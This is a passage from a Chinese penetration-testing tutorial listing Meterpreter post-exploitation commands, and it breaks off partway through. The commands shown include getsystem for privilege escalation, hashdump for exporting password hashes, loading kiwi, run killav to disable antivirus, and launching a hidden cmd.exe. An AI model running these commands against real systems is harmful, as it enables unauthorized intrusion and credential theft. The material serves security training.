12、后渗透测试--meterpreter使用

Post后渗透模块 ：

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作。

 

一、基本系统命令

sessions    # sessions –h 查看帮助

sessions -i <ID值>  # 进入会话   -k  杀死会话

background  # 将当前会话放置后台

info   # 查看已有模块信息

getuid   # 查看获取的当前权限

getsystem           # 提权

getpid    # 获取当前进程的pid

sysinfo   # 查看目标机系统信息

ps          # 查看当前活跃进程    kill <PID值> 杀死进程

idletime            # 查看目标机运行时间

 

hashdump     # 从SAM数据库导出密码的哈希

 

reboot / shutdown   # 重启/关机

shell     # 进入目标机cmd shell

load kiwi           # 加载wiki模块

run                   # 使用扩展库，执行已有的模块，输入run后按两下tab，列出已有的脚本

run  killav         # 关闭杀毒软件

 

run scraper         # 查看目标主机详细信息

 二、execute执行文件

execute  参数  -f 可执行文件   # 执行可执行程序

execute -H -i -f cmd.exe    # 创建新进程cmd.exe，-H不可见，-i交互

 

三、目录/文件操作

pwd / getwd   #